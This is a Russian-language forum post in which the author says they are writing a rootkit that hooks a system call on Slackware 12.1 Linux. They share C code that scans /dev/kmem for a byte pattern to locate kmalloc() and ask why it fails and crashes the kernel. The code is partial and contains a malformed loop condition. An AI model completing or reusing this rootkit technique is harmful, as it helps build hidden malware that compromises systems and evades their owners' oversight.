Доброго дня суток. Пишу программу под nix (дистр - слака 12.1), обычный руткит, перехватывающий системный вызов. Встал вопрос о том, каким образом найти адрес функции kmalloc(), чтобы вызвать по найденному адресу из user-mode. Используется следующая функция, но почему то она находит адреса (причем куча) только после 0xc1######, хотя как мне кажется все системные функции должны находится в интервале от нижней границы 0xc0000000 до 0xc1000000. Code: unsigned long get_kma() { unsigned int i; unsigned char buf[0x10000], *p, *p1; unsigned long ret; char c; kmem = open("/dev/kmem", O_RDONLY); if (kmem<0) return 1; for (i = page_offset+0x100000; i<(page_offset; 0x10000000); i+=0x10000) { readkmem (buf,i,sizeof(buf)); //printf("%s\n",buf); //c = getc(stdin); p1 = (char*)memmem (buf, sizeof(buf), "\x68\xf0\x01\x00",4); if (p1) { printf("kmalloc() is found!!!\n"); p = (char*)memmem(p1+4, sizeof(buf), "\xe8",1)+1; if (p) { //close (kmem); //return *(unsigned long *)p+i+(p-buf)+4; printf("----0x%x\n", *(unsigned long *)p+i+(p-buf)+4); c=getc(stdin); } } } close(kmem); return 0; } Пытался собственно вызвать один из полученных адресов - ядро улетает, приходится перезагружаться. В чем может быть проблема, почему не находит адрес kmalloc()?
неужто ни у кого никаких идей нет? ( если что вот функция kmemread: Code: static inline void readkmem (void *m,unsigned off,int sz) { if (lseek64(kmem,(unsigned long long) off,0)!=off){ perror("kmem lseek"); exit(2); } if (read(kmem,m,sz)!=sz) { perror("kmem read"); exit(2); } }